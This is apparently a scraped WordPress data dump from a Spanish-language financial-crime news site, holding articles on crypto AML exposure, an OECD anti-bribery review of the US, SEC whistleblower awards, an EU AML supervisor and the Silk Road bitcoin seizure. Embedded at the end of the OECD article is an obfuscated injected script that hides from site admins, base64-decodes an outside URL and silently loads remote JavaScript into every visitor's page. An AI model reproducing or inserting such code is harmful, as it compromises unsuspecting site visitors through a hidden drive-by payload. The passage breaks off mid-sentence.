data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y 